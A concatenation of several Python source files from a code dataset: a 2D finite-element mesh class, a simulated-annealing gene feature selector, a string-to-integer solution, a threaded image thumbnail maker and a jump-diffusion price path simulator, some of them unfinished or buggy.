_self.boundary.getNormalAndKappa(i,myList)\n curv = abs(myVec[0])\n if _self.boundary.vertIdRegion[i] == nb and curv < 20:\n xp = _self.boundary.X[i]\n yp = _self.boundary.Y[i]\n xNormal = myVec[1]\n yNormal = myVec[2]\n break\n mesh_info.regions[nb] = [ xp[0]-0.1*xNormal[0],\n yp[0]-0.1*yNormal[0],\n nb,\n 0.1 ]\n return mesh_info\n\n def setMiniElement(_self):\n \"\"\"Set mini element to X,Y and IEN arrays. The mini element consists in the\n same X,Y,IEN struct with an additional centroid. Therefore X,Y and IEN should\n be resized to accomadate the centroid coordinate.\n \"\"\"\n _self.numNodes = _self.numVerts + _self.numElems\n\n _self.X.resize(_self.numNodes,refcheck=False)\n _self.Y.resize(_self.numNodes,refcheck=False)\n _self.IEN = np.hstack((_self.IEN, np.zeros((_self.IEN.shape[0], 1), \\\n dtype=_self.IEN.dtype)))\n\n for i in range(0,_self.numElems):\n v1 = _self.IEN[i][0]\n v2 = _self.IEN[i][1]\n v3 = _self.IEN[i][2]\n\n vAdd = _self.numVerts + i\n\n pos = _self.IEN.shape[1]-1\n _self.IEN[i][pos] = vAdd\n centroid = geometry.getCentroid(_self.X[v1],_self.Y[v1],\n _self.X[v2],_self.Y[v2],\n _self.X[v3],_self.Y[v3] )\n\n _self.X[vAdd] = centroid[0]\n _self.Y[vAdd] = centroid[1]\n\n def setQuadElement(_self):\n \"\"\"Set quad element to X,Y and IEN arrays. The quad element consists in the\n same X,Y,IEN struct with additional edge nodes. Therefore X,Y and IEN should\n be resized to accomadate the 3 more coordinates.\n\n INCOMPLETE!\n\n \"\"\"\n _self.numNodes = _self.numVerts + _self.numEdges\n\n _self.X.resize(_self.numNodes,refcheck=False)\n _self.Y.resize(_self.numNodes,refcheck=False)\n _self.IEN = np.hstack((_self.IEN, np.zeros((_self.IEN.shape[0], 1), \\\n dtype=_self.IEN.dtype)))\n\n for i in range(0,_self.numEdges):\n edge = _self.mapEdge[i][0]\n xc = _self.mapEdge[i][1]\n yc = _self.mapEdge[i][2]\n v1 = _self.mapEdge[i][3]\n v2 = _self.mapEdge[i][4]\n\n def setNeighbor(_self):\n _self.neighborElem = [[] for i in range(_self.numVerts)]\n for i in range(0,_self.numElems):\n for j in range(0,3):\n v = _self.IEN[i][j] \n _self.neighborElem[v].append(i)\n\n def setNeighborVert(_self):\n \"\"\"\n\t Method to create neighbor vertices array for all 2D nodes.\n\t\"\"\"\n _self.neighborVert = [[] for i in range(_self.numVerts)]\n\n for i in range(0,_self.numVerts):\n elemList = _self.neighborElem[i]\n for elem in range(0,elemList):\n for j in range(0,3):\n v = _self.IEN[elem][j]\n _self.neighborVert[i].append(v)\n\n # delete i vertex at neighborVert[i]\n # MISSING METHOD\n # MISSING METHOD\n # MISSING METHOD\n # MISSING METHOD\n\n # sort and unique at neighborVert[i]\n _self.neighborVert[i] = np.unique(_self.boundary.boundaryVert[i])\n\n\n def setMapping(_self):\n \"\"\" Method to create two important mapping arrays: oFace and mapEdge\n This method also sets minEdge, maxEdge and averageEdgeLength\n \"\"\"\n\n edges = np.zeros((_self.numElems*3,4),dtype=int)\n _self.oface = -1*np.ones((_self.numElems,3),dtype=int)\n _self.boundary.boundaryVert = []\n\n for elem in range(0,_self.numElems):\n v1 = _self.IEN[elem][0]\n v2 = _self.IEN[elem][1]\n v3 = _self.IEN[elem][2]\n\n # 1st. edge\n edge1 = [v1,v2] # edge\n edge1.sort()\n edge1.append(elem) # elem\n edge1.append(2) # ID of v3\n edges[3*elem+0] = edge1\n\n # 2nd. edge\n edge2 = [v2,v3] # edge\n edge2.sort()\n edge2.append(elem) # elem\n edge2.append(0) # ID of v1\n edges[3*elem+1] = edge2\n \n # 3rd. edge\n edge3 = [v3,v1] # edge\n edge3.sort()\n edge3.append(elem) # elem\n edge3.append(1) # ID of v2\n edges[3*elem+2] = edge3\n\n # sort 2nd column and 1st column (still duplicated)\n edgesSorted = edges[np.lexsort((edges[:, 1], edges[:, 0]))]\n\n # add row (test)\n #edgesSorted = np.vstack([edgesSorted,[2,3,4,0]])\n\n i = 0\n while i < len(edgesSorted)-1:\n if edgesSorted[i][0] == edgesSorted[i+1][0] and \\\n edgesSorted[i][1] == edgesSorted[i+1][1]:\n #print 'TRUE'\n _self.oface[edgesSorted[i][2]][edgesSorted[i][3]] = edgesSorted[i+1][2]\n _self.oface[edgesSorted[i+1][2]][edgesSorted[i+1][3]] = edgesSorted[i][2]\n edgesSorted = np.delete(edgesSorted, i+1, 0)\n i += 1\n else:\n #print 'FALSE'\n _self.boundary.boundaryVert.append(edgesSorted[i][0])\n _self.boundary.boundaryVert.append(edgesSorted[i][1])\n i += 1\n \n if i == len(edgesSorted)-1:\n _self.boundary.boundaryVert.append(edgesSorted[i][0])\n _self.boundary.boundaryVert.append(edgesSorted[i][1])\n\n # sort and unique vector\n _self.boundary.boundaryVert = np.unique(_self.boundary.boundaryVert)\n\n _self.minEdge = 1E10;\n _self.maxEdge = -1E10;\n _self.mapEdge = np.zeros((len(edgesSorted),5),dtype=float)\n _self.numEdges = 0\n for i in range( 0,len(edgesSorted) ):\n x1 = _self.X[ edgesSorted[i][0] ]\n y1 = _self.Y[ edgesSorted[i][0] ]\n x2 = _self.X[ edgesSorted[i][1] ]\n y2 = _self.Y[ edgesSorted[i][1] ]\n\n xMid = (x1+x2)*0.5\n yMid = (y1+y2)*0.5\n length = geometry.vectorLength(x1-x2,y1-y2)\n\n _self.averageEdgeLength += length\n\n if( length < _self.minEdge ):\n _self.minEdge = length;\n\n if( length > _self.maxEdge ):\n _self.maxEdge = length;\n\n _self.mapEdge[_self.numEdges][0] = _self.numVerts+_self.numEdges\n _self.mapEdge[_self.numEdges][1] = xMid\n _self.mapEdge[_self.numEdges][2] = yMid\n _self.mapEdge[_self.numEdges][3] = edgesSorted[i][0] \n _self.mapEdge[_self.numEdges][4] = edgesSorted[i][1] \n _self.numEdges += 1\n\n # average of edge lenghts by total number of edges\n _self.averageEdgeLength = _self.averageEdgeLength/_self.numEdges\n\n def stats(_self):\n \"\"\"\n regular a^2 \n tri = -----\n area 2\n \"\"\"\n _self.minArea = [1E10]*(_self.elemIdRegion.max()+1)\n _self.idMinArea = [0]*(_self.elemIdRegion.max()+1)\n _self.maxArea = [-1E10]*(_self.elemIdRegion.max()+1)\n _self.idMaxArea = [0]*(_self.elemIdRegion.max()+1)\n _self.sumArea = [0]*(_self.elemIdRegion.max()+1)\n _self.averageTriArea = [0]*(_self.elemIdRegion.max()+1)\n _self.intri = [0]*(_self.elemIdRegion.max()+1)\n\n count = [0]*(_self.elemIdRegion.max()+1)\n for e in range(0,_self.numElems):\n v1 = _self.IEN[e][0]\n p1x = _self.X[v1] \n p1y = _self.Y[v1] \n\n v2 = _self.IEN[e][1]\n p2x = _self.X[v2] \n p2y = _self.Y[v2] \n\n v3 = _self.IEN[e][2]\n p3x = _self.X[v3] \n p3y = _self.Y[v3] \n\n elemID = _self.elemIdRegion[e]\n area = geometry.getArea(p1x,p1y,p2x,p2y,p3x,p3y)\n\n # intri number\n if heaviside[v1] == 0.5 and \\\n heaviside[v2] == 0.5 and \\\n heaviside[v3] == 0.5:\n intri[elemID] += 1;\n\n _self.sumArea[elemID] += area\n\n # areas\n if area < _self.minArea[elemID]:\n _self.minArea[elemID] = area\n _self.idMinArea[elemID] = e\n if area > _self.maxArea[elemID]:\n _self.maxArea[elemID] = area\n _self.idMaxArea[elemID] = e\n count[elemID] += 1\n\n for nb in range(0,_self.elemIdRegion.max()+1):\n _self.averageTriArea[nb] = _self.sumArea[nb]/count[nb]\n\n def setCloser(_self):\n nverts = len(_self.boundary.surface)\n xSurface = np.zeros((nverts,1),dtype=float)\n ySurface = np.zeros((nverts,1),dtype=float)\n for i in range(0,nverts):\n xSurface[i] = _self.boundary.X[_self.boundary.surface[i]]\n ySurface[i] = _self.boundary.Y[_self.boundary.surface[i]]\n \n # VERY SLOW ROUTINE\n # VERY SLOW ROUTINE\n # VERY SLOW ROUTINE\n # VERY SLOW ROUTINE\n closer = geometry.dsearchn(xSurface,ySurface,_self.X,_self.Y)\n\n def moveXPoints(_self,_vec,_dt):\n \"\"\"\n Move points in X direction\n\t input: velocity vector _vec and time step _dt\n\t output: mesh and boundary mesh X coordinate modified\n \"\"\"\n\n #X = X + _vec*_dt;\n for i in range(0,_self.numVerts):\n aux = _self.X[i]+(_vec[i]*_dt)\n _self.X[i] = aux\n\n for i in range(0,_self.boundary.numVerts):\n aux = _self.boundary.X[i]+(_vec[i]*_dt)\n _self.boundary.X[i] = aux\n\n\n def moveYPoints(_self,_vec,_dt):\n \"\"\"\n Move points in Y direction\n input: velocity vector _vec and time step _dt\n \t output: mesh and boundary mesh Y coordinate modified\n \"\"\"\n\n #X = X + _vec*_dt;\n for i in range(0,_self.numVerts):\n aux = _self.Y[i]+(_vec[i]*_dt)\n _self.Y[i] = aux\n\n for i in range(0,_self.boundary.numVerts):\n aux = _self.boundary.Y[i]+(_vec[i]*_dt)\n _self.boundary.Y[i] = aux\n\n def centroidPositionCorrection(_self):\n for i in range(0,_self.numElems):\n v1 = _self.IEN[i][0]\n v2 = _self.IEN[i][1]\n v3 = _self.IEN[i][2]\n v4 = _self.IEN[i][3]\n\n centroid = geometry.getCentroid(_self.X[v1],_self.Y[v1],\n _self.X[v2],_self.Y[v2],\n _self.X[v3],_self.Y[v3] )\n\n _self.X[v4] = centroid[0]\n _self.Y[v4] = centroid[1]\n\n def laplacianSmooth(_self):\n \"\"\"\n\t Defining the Laplacian Smooth operator for 2D mesh.\n\t This method moves the points according to its neighbors\n\t\"\"\"\n uSmooth = np.zeros((_self.numVerts,1),dtype=float)\n vSmooth = np.zeros((_self.numVerts,1),dtype=float)\n\n for i in range(0,_self.numVerts):\n xSum = 0\n ySum = 0\n distSum = 0\n vertList = _self.neighborVert[i] \n \n for vert in range(0,vertList):\n if vert < _self.numVerts:\n P0x = _self.X[i]\n P0y = _self.Y[i]\n P1x = _self.X[vert]\n P1y = _self.Y[vert]\n dist = geometry.distance(P0x,P0y,P1x,P1y)\n distSum = distSum + dist\n xSum = xSum + (P1x - P0x)*dist\n ySum = ySum + (P1y - P0y)*dist\n \n uSmooth[i] = (2.0/distSum)*xSum\n vSmooth[i] = (2.0/distSum)*ySum\n \n\nclass LineMesh:\n def __init__(_self):\n \"\"\"\n Class LineMesh\n \"\"\"\n _self.numVerts = 0\n _self.numNodes = 0\n _self.numElems = 0\n _self.X = 0\n _self.Y = 0\n _self.IEN = 0\n _self.numberOfBoundaries = 0\n _self.physicalName = 0\n _self.vertIdRegion = 0\n _self.elemIdRegion = 0\n _self.Marker = 0\n _self.vertPhysicalName = []\n _self.elemPhysicalName = []\n _self.neighborElem = []\n _self.minLength = []\n _self.idMinLength = []\n _self.maxLength = []\n _self.idMaxLength = []\n _self.sumLength = []\n _self.averageLineLength = []\n _self.mesh = 0\n _self.xNormal = []\n _self.yNormal = []\n _self.curvature = []\n _self.boundaryVert = []\n\n def readMSH(_self,_dir,_filename):\n \"\"\"\n Read boundary .MSH file created from GMsh and assign values to\n X,Y,IEN numpy arrays.\n Ex. readMSH('/home/user/gmsh/','retangle.msh')\n This method also selects the priority boundary conditions to be set on the\n vertPhysicalName vector. Note that only these names will be written on top of\n the others. Due to the assignment of boundary condition in the element and not\n in the vertex, a corner point may have 2 types of boundary condition,\n therefore the priority will set the correct one.\n \"\"\"\n mshFile = open(_dir+_filename,'r')\n lines = mshFile.readlines()\n\n lineNr = 0\n while \"$PhysicalNames\" not in lines[lineNr]:\n lineNr += 1\n\n lineNr += 1\n _self.numberOfBoundaries = int(lines[lineNr])\n\n lineNr += 1\n _self.physicalName = [[] for i in range(_self.numberOfBoundaries)]\n for line in range(0,_self.numberOfBoundaries):\n aux = lines[lineNr].split()\n _self.physicalName[line] = aux[2]\n lineNr += 1\n\n while \"$Elements\" not in lines[lineNr]:\n lineNr += 1\n\n lineNr += 1\n totalNumElems = int(lines[lineNr])\n\n count = 0\n lineNr += 1\n lineOld = lineNr\n while len( lines[lineNr].split() ) == 7:\n count += 1\n lineNr += 1\n\n _self.numElems = count\n _self.IEN = np.zeros((_self.numElems,2),dtype=int)\n _self.elemIdRegion = np.zeros((_self.numElems,1),dtype=int)\n _self.elemPhysicalName = [[] for i in range(_self.numElems)]\n _self.numVerts = _self.numElems\n _self.vertIdRegion = np.zeros((_self.numVerts,1),dtype=int)\n\n lineNr = lineOld\n for line in range(0,_self.numElems):\n vertices = lines[lineNr].split()\n bound = int(vertices[3])-1\n v1 = int(vertices[5])-1\n v2 = int(vertices[6])-1\n _self.IEN[line] = [v1,v2]\n\n # elemPhysicalName: numElems size\n # vector that the PhysicalName is identified (see .msh file)\n _self.elemPhysicalName[line] = _self.physicalName[bound][1:-1]\n \n # vertIdRegion and elemIdRegion: 0 for all wall types and 1,2,3... for\n # bubbles or drops\n if 'wall' in _self.physicalName[bound]:\n _self.vertIdRegion[v1] = 0\n _self.vertIdRegion[v2] = 0\n _self.elemIdRegion[line] = 0\n else:\n _self.vertIdRegion[v1] = _self.physicalName[bound][7:-1] # 'bubble1' -> 1\n _self.vertIdRegion[v2] = _self.physicalName[bound][7:-1] # 'bubble10 -> 10\n _self.elemIdRegion[line] = _self.physicalName[bound][7:-1]\n\n lineNr += 1\n\n lineNr = 0\n while \"$Nodes\" not in lines[lineNr]:\n lineNr += 1\n\n _self.X = np.zeros((_self.numVerts,1),dtype=float)\n _self.Y = np.zeros((_self.numVerts,1),dtype=float)\n\n lineNr += 2\n for line in range(0,_self.numVerts):\n coords = lines[lineNr].split()\n _self.X[line] = float(coords[1])\n _self.Y[line] = float(coords[2])\n lineNr += 1\n\n # assign boundary names to vertPhysicalName \n _self.vertPhysicalName = [[] for i in range(_self.numVerts)]\n\n # 3rd. priority loop\n for elem in range(0,_self.numElems):\n v1 = _self.IEN[elem][0]\n v2 = _self.IEN[elem][1]\n boundary = _self.elemPhysicalName[elem]\n _self.vertPhysicalName[v1] = boundary\n _self.vertPhysicalName[v2] = boundary\n\n if \"NormalU\" in boundary or \"NormalV\" in boundary:\n _self.vertPhysicalName[v1] = boundary\n _self.vertPhysicalName[v2] = boundary\n\n # 2nd. priority loop\n for elem in range(0,_self.numElems):\n v1 = _self.IEN[elem][0]\n v2 = _self.IEN[elem][1]\n boundary = _self.elemPhysicalName[elem]\n\n if \"InflowU\" in boundary or \"InflowV\" in boundary or \\\n \"InflowUParabolic\" in boundary or \"InflowVParabolic\" in boundary:\n _self.vertPhysicalName[v1] = boundary\n _self.vertPhysicalName[v2] = boundary\n\n # 1st. priority loop\n for elem in range(0,_self.numElems):\n v1 = _self.IEN[elem][0]\n v2 = _self.IEN[elem][1]\n boundary = _self.elemPhysicalName[elem]\n\n if \"NoSlip\" in boundary or \"NoSlipConcentration\" in boundary or \\\n \"NoSlipPressure\" in boundary or \"InvU\" in boundary or \\\n \"InvV\" in boundary or \"Inflow2Bubbles\" in boundary:\n _self.vertPhysicalName[v1] = boundary\n _self.vertPhysicalName[v2] = boundary\n\n def setInterfaceBC(_self):\n _self.vertIdRegion = np.zeros((_self.numVerts,1),dtype=int)\n _self.Marker = np.zeros((_self.numVerts,1),dtype=float)\n\n for i in range(0,_self.numElems):\n v1 = _self.IEN[i][0]\n v2 = _self.IEN[i][1]\n _self.vertIdRegion[v1] = _self.elemIdRegion[i]\n _self.vertIdRegion[v2] = _self.elemIdRegion[i]\n\n if _self.elemIdRegion[i] > 0:\n _self.Marker[v1] = 0.5\n _self.Marker[v2] = 0.5\n\n def getNormalAndKappa(_self,_node,_myList):\n P0x = _self.X[_node]\n P0y = _self.Y[_node]\n\n fx = 0\n fy = 0\n sumLength = 0;\n sumXCrossUnit = 0;\n sumYCrossUnit = 0;\n\n listSize = len(_myList)\n for i in range(0,listSize-1):\n v1 = _myList[0]\n v2 = _myList[1]\n\n # v2 surfaceNode v1\n # x ------- x ------- x (surface region)\n # (2Unit) <---- ----> (1Unit)\n #\n P1x = _self.X[v1];\n P1y = _self.Y[v1];\n P2x = _self.X[v2];\n P2y = _self.Y[v2];\n\n # distance of 0 - 1\n a = geometry.distance(P0x,P0y,P1x,P1y);\n\n # distance of 0 - 2\n b = geometry.distance(P0x,P0y,P2x,P2y);\n \n # vetors\n x1Unit = (P1x-P0x)/a;\n y1Unit = (P1y-P0y)/a;\n\n x2Unit = (P2x-P0x)/b\n y2Unit = (P2y-P0y)/b\n\n fx = x1Unit+x2Unit\n fy = y1Unit+y2Unit\n\n # 2D rotation of z = 90 degrees\n # x' = x*cos(z) - y*sin(z)\n # y' = x*sin(z) + y*cos(z)\n sumXCrossUnit = -y1Unit*1 + y2Unit*1\n sumYCrossUnit = +x1Unit*1 - x2Unit*1\n\n # 1/2 of length P0-P1 and P0-P2\n sumLength = (a+b)/2.0\n\n length = geometry.vectorLength(sumXCrossUnit,sumYCrossUnit);\n\n xNormalUnit = sumXCrossUnit/length\n yNormalUnit = sumYCrossUnit/length\n\n # intensidade da forca resultante\n force = np.sqrt( (fx*fx)+(fy*fy) )\n\n # direction of force at node -> outward\n if( (fx*xNormalUnit+fy*yNormalUnit) > 0.0 ):\n force = -force;\n\n pressure = force/sumLength\n\n vec = np.zeros((3,1),dtype=float)\n vec[0] = pressure\n vec[1] = xNormalUnit\n vec[2] = yNormalUnit\n return vec\n\n def setSurface(_self):\n _self.surface = _self.Marker == 0.5\n _self.surface = _self.surface.nonzero()[0]\n\n def setNormalAndKappa(_self):\n _self.setSurface()\n _self.setNeighbor()\n _self.xNormal = np.zeros((_self.numVerts,1),dtype=float)\n _self.yNormal = np.zeros((_self.numVerts,1),dtype=float)\n _self.curvature = np.zeros((_self.numVerts,1),dtype=float)\n for i in range(0,len(_self.surface)):\n node = _self.surface[i]\n\n myList = _self.getNeighborPoint(node)\n vec = _self.getNormalAndKappa(node,myList)\n\n _self.xNormal[node] = vec[0]\n _self.yNormal[node] = vec[1]\n _self.curvature[node] = vec[2]\n\n def setNeighbor(_self):\n _self.neighborElem = [[] for i in range(_self.numVerts)]\n for i in range(0,_self.numElems):\n for j in range(0,2):\n v = _self.IEN[i][j]\n _self.neighborElem[v].append(i)\n \n def getNeighborPoint(_self,_node):\n elem1 = _self.neighborElem[_node][0]\n elem2 = _self.neighborElem[_node][1]\n node1 = _self.IEN[elem1][0];node2 = _self.IEN[elem1][1]\n node3 = _self.IEN[elem2][0];node4 = _self.IEN[elem2][1]\n if node1 == node3 or node1 == node4:\n verts = [node2,node3]\n else:\n verts = [node4,node1]\n return verts\n\n def stats(_self):\n \"\"\"\n fora e dentro das bolhas\n _self.elemIdRegion == 0 --> wall\n _self.elemIdRegion == 1 --> bubble 1\n _self.elemIdRegion == 2 --> bubble 2 , etc\n \"\"\"\n _self.minLength = [1E10]*(_self.elemIdRegion.max()+1)\n _self.idMinLength = [0]*(_self.elemIdRegion.max()+1)\n _self.maxLength = [-1E10]*(_self.elemIdRegion.max()+1)\n _self.idMaxLength = [0]*(_self.elemIdRegion.max()+1)\n _self.sumLength = [0]*(_self.elemIdRegion.max()+1)\n _self.averageLineLength = [0]*(_self.elemIdRegion.max()+1)\n\n count = [0]*(_self.elemIdRegion.max()+1)\n for e in range(0,_self.numElems):\n v1 = _self.IEN[e][0]\n p1x = _self.X[v1] \n p1y = _self.Y[v1] \n\n v2 = _self.IEN[e][1]\n p2x = _self.X[v2] \n p2y = _self.Y[v2] \n\n elemID = _self.elemIdRegion[e];\n length = geometry.distance(p1x,p1y,p2x,p2y)\n\n _self.sumLength[elemID] += length;\n\n if length < _self.minLength[elemID]:\n _self.minLength[elemID] = length\n _self.idMinLength[elemID] = e\n if length > _self.maxLength[elemID]: \n _self.maxLength[elemID] = length\n _self.idMaxLength[elemID] = e\n\n count[elemID] += 1\n for nb in range(0,_self.elemIdRegion.max()+1):\n _self.averageLineLength[nb] = _self.sumLength[nb]/count[nb]\n\n\n\n","sub_path":"Mesh.py","file_name":"Mesh.py","file_ext":"py","file_size_in_byte":25726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"150127527","text":"import pandas as pd\nimport numpy as np\nimport random\nimport math\n\ndef gen_features(data, status):\n k = 0\n features = np.empty((int(sum(status)),62))\n for i in range(len(data)):\n if status[i]==1:\n features[k] = data[i]\n k = k+1\n return features\n\ndef classify(data, label):\n A = 0\n for i in range(len(label)):\n if label[i] == 1:\n A = A+1\n a=0\n b=0\n classA = np.empty((A,2000))\n classB= np.empty((len(label)-A,2000))\n for s in range(len(label)):\n if label[s] ==1:\n classA[a] = data.T[s]\n a = a+1\n else:\n classB[b] = data.T[s]\n b = b+1\n return classA, classB\n\ndef obj(data, label):\n A = 0\n B = 0\n for i in range(len(data)):\n A = A + abs(np.corrcoef(data[i],label)[1,0])\n mean_A = A/len(data) \n\n for k in range(len(data)):\n for j in range(k, len(data)):\n if k != j:\n B = B + abs(np.corrcoef(data[k],data[j])[1,0])\n mean_B = 2*B/(len(data)*len(data)-len(data))\n return mean_B-mean_A #the smaller the better\n\ndef SA(data, label, cooling_rate, T0, max_iteration, disturbance_num): \n current_status = np.random.uniform(0,2000,2000)\n for i in range(2000):\n if current_status[i]<10:\n current_status[i] = 1\n else:\n current_status[i] = 0\n features = gen_features(data, current_status) \n fitness_curr = obj(features, label) \n temp_status = current_status\n best_status = current_status \n fitness_best = fitness_curr\n T = T0\n \n for i in range(max_iteration):\n disturbance = np.random.randint(0,2000,size=disturbance_num)\n for s in disturbance:\n temp_status[s] = 1-temp_status[s]\n \n features = gen_features(data, temp_status)\n fitness_temp = obj(features, label) \n delta = fitness_temp - fitness_curr\n \n if delta<0:\n fitness_curr = fitness_temp\n current_status = temp_status\n else:\n prob = random.random()\n if prob0:\n tumor[i] = 1\n else:\n tumor_num = tumor_num+1\n tumor[i] = -1\n \na = SA(genes, tumor, 0.5, 10000, 10, 1)\nprint(a)\n","sub_path":"HW3-2.py","file_name":"HW3-2.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"116497017","text":"import re\n\n\nclass Solution:\n def myAtoi(self, str: str) -> int:\n re_str = r\"\\s*[-|+]?\\d+\"\n res = re.match(re_str, str)\n try:\n res = int(res[0].strip(\" \"))\n except:\n return 0\n else:\n return max(min(res, 2**31 - 1), (-2)**31)\n","sub_path":"string-to-integer-atoi/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"489345300","text":"# thumbnail_maker.py\nimport time\nimport os\nimport logging\nfrom urllib.parse import urlparse\nfrom urllib.request import urlretrieve\nfrom queue import Queue\nfrom threading import Thread\n\nimport PIL\nfrom PIL import Image\n\nFORMAT = \"[%(threadName)s, %(asctime)s, %(levelname)s] %(message)s\"\nlogging.basicConfig(filename='logfile.log', level=logging.DEBUG, format=FORMAT)\n\nclass ThumbnailMakerService(object):\n def __init__(self, home_dir='.'):\n self.home_dir = home_dir\n self.input_dir = self.home_dir + os.path.sep + 'incoming'\n self.output_dir = self.home_dir + os.path.sep + 'outgoing'\n self.img_queue = Queue()\n self.dl_queue = Queue()\n\n def download_image(self):\n # We are doing double check for the emptiness of the dl_queue\n # this is done, because there is a situation when a threads comes in there is\n # a last item in the queue, and it asks if the queue is empty, and gets a false result\n # then it gets suspended and another thread is getting that last item from the queue\n # then the first thread is resumed and, trying to get that item, but the queue is empty,\n # therefore an exception of queue.Empty is being thrown, and if we don't catch it we\n # will exit.\n # in the except block we don't need to do anything because the thread will ask the while loop\n # is the queue is empty and now it will get a true result, and will finish it's work\n while not self.dl_queue.empty():\n try:\n url = self.dl_queue.get(block=False)\n # download each image and save to the input dir\n img_filename = urlparse(url).path.split('/')[-1]\n urlretrieve(url, self.input_dir + os.path.sep + img_filename)\n self.img_queue.put(img_filename)\n\n self.dl_queue.task_done()\n except Queue.Empty:\n logging.info('Queue empty')\n\n def download_images(self, img_url_list):\n # validate inputs\n if not img_url_list:\n return\n os.makedirs(self.input_dir, exist_ok=True)\n\n logging.info(\"beginning image downloads\")\n\n start = time.perf_counter()\n for url in img_url_list:\n # download each image and save to the input dir\n img_filename = urlparse(url).path.split('/')[-1]\n urlretrieve(url, self.input_dir + os.path.sep + img_filename)\n self.img_queue.put(img_filename)\n end = time.perf_counter()\n\n self.img_queue.put(None)\n logging.info(\"downloaded {} images in {} seconds\".format(len(img_url_list), end - start))\n\n def perform_resizing(self):\n # validate inputs\n os.makedirs(self.output_dir, exist_ok=True)\n\n logging.info(\"beginning image resizing\")\n target_sizes = [32, 64, 200]\n num_images = len(os.listdir(self.input_dir))\n\n start = time.perf_counter()\n while True:\n filename = self.img_queue.get()\n if filename:\n logging.info(\"resizing image {}\".format(filename))\n orig_img = Image.open(self.input_dir + os.path.sep + filename)\n for basewidth in target_sizes:\n img = orig_img\n # calculate target height of the resized image to maintain the aspect ratio\n wpercent = (basewidth / float(img.size[0]))\n hsize = int((float(img.size[1]) * float(wpercent)))\n # perform resizing\n img = img.resize((basewidth, hsize), PIL.Image.LANCZOS)\n\n # save the resized image to the output dir with a modified file name\n new_filename = os.path.splitext(filename)[0] + \\\n '_' + str(basewidth) + os.path.splitext(filename)[1]\n img.save(self.output_dir + os.path.sep + new_filename)\n\n os.remove(self.input_dir + os.path.sep + filename)\n logging.info(\"done resizing image {}\".format(filename))\n self.img_queue.task_done()\n # This else is when the posion pill consumed and the message is None\n else:\n self.img_queue.task_done()\n break\n end = time.perf_counter()\n\n logging.info(\"created {} thumbnails in {} seconds\".format(num_images, end - start))\n\n def make_thumbnails(self, img_url_list):\n logging.info(\"START make_thumbnails\")\n\n start = time.perf_counter()\n # Here we are downloading all the images and storing them into a mq \n # dl_queue, we did this in order to avoid, many threads downloading\n # from the resource concurrently, and my cause a ddos to the web service.\n for img_url in img_url_list:\n self.dl_queue.put(img_url)\n # Here we are triggering 4 threads that will get a url from the dl_queue\n # and then will download the image, after each thread is finish with the download\n # it will mark the task as task_done, we need this because dl_queue is triggered a\n # dl_queue.join() method in order the know when threads finished downloading all images\n # before we used a second queue for storing the url's, we had only 1 queue,\n # that the threads stored the images inside, and the thread that is responsible for \n # the resizing consumed the images from that queue\n num_dl_threads = 4\n for _ in range(num_dl_threads):\n t = Thread(target=self.download_image)\n t.start()\n # triggering a thread for handle all the downloaded images, the was putted inside the\n # img_queue\n t2 = Thread(target=self.perform_resizing)\n t2.start()\n\n # In order for us to know when to put the poison pill described below, we will wait for\n # all the tasks in the dl_queue to be done, and then we know that all images were downloaded\n # and now we can put the poison pill inside the img_queue, for the resize thread to consume \n # and exit the infinite loop\n self.dl_queue.join()\n # This is how the thread responsible for resizing will know how to finish his work\n # it is called a posion pill, the resizing thread will consume this None message and \n # will to know that all images were resized\n\n self.img_queue.put(None)\n # we don't want to join here for the 4 producer threads becuase the important threads\n # is the resize thread, and that's because we know that when the resize thread is done,\n # there are no more images to resize and therefore we can exit\n t2.join()\n\n end = time.perf_counter()\n logging.info(\"END make_thumbnails in {} seconds\".format(end - start))\n","sub_path":"mt-queues/thumbnail_make.py","file_name":"thumbnail_make.py","file_ext":"py","file_size_in_byte":6761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"589646873","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 12 12:57:08 2019\r\n\r\n@author: HP\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom sn_random_numbers import sn_random_numbers\r\nfrom simulation_class import simulation_class\r\nclass jump_diffusion(simulation_class):\r\n '''\r\n base on jump diffsuion to generate simulated paths\r\n '''\r\n def __init__(self,name,mar_env,corr=False):\r\n super(jump_diffusion,self).__init__(name,mar_env,corr)\r\n try:\r\n self.lamb=mar_env.get_constant('lambda')\r\n self.mu=mar_env.get_constant('mu')\r\n self.delt=mar_env.get_constant('delta')\r\n except:\r\n print (\"Error parsing market enviroment\")\r\n def update(self,inital_value=None,volatility=None,lamb=None,mu=None,delta=None,final_date=None):\r\n if initial_value is not None:\r\n self.initial_value=initial_value\r\n if volatility is not None:\r\n self.volatility=volatility\r\n if lamb is not None:\r\n self.lamb=lamb\r\n if mu is not None:\r\n self.mu=mu\r\n if delta is not None:\r\n self.delt=delta\r\n if final_date is not None:\r\n self.final_date=final_date\r\n self.instrument_values=None\r\n def generate_paths(self,fixed_seed=False,day_count=365.):\r\n if self.time_grid is None:\r\n self.generate_time_grid()\r\n M=len(se.time_grid)\r\n I=self.paths\r\n paths=np.zeros((M,I))\r\n paths[0]=self.initial_value\r\n if self.correlated is False:\r\n sn1=sn_random_numbers((1,M,I),fixed_seed=fixed_seed)\r\n else:\r\n sn1=self.random_numbers\r\n sn2=sn_random_numbers((1,M,I),fixed_seed=fixed_seed)\r\n rj=self.lamb*(np.exp(self.mu+0.5*self.delt**2)-1)\r\n short_rate=self.discount_curve.short_rate\r\n \r\n for t in range(1,len(self.time_grid)):\r\n if self.correated in False:\r\n ran=sn1(t)\r\n else:\r\n ran=np.dot(self.cholesky_matrix,sn1[:,t,:])\r\n ran=ran[self.rn_set]\r\n dt=(self.time_grid[t]-self.time_grid[t-1]).days/day_count\r\n poi=np.random.poisson(self.lamb*dt,I)\r\n paths[t]=paths[t-1]+(np.exp((short_rate-rj-0.5*self.volatility**2)*dt+self.volatility*np.sqrt(dt)*ran)+(np.exp(self.mu+self.delt*sn2[t])-1)*poi)\r\n self.instrument_value=paths\r\n \r\n 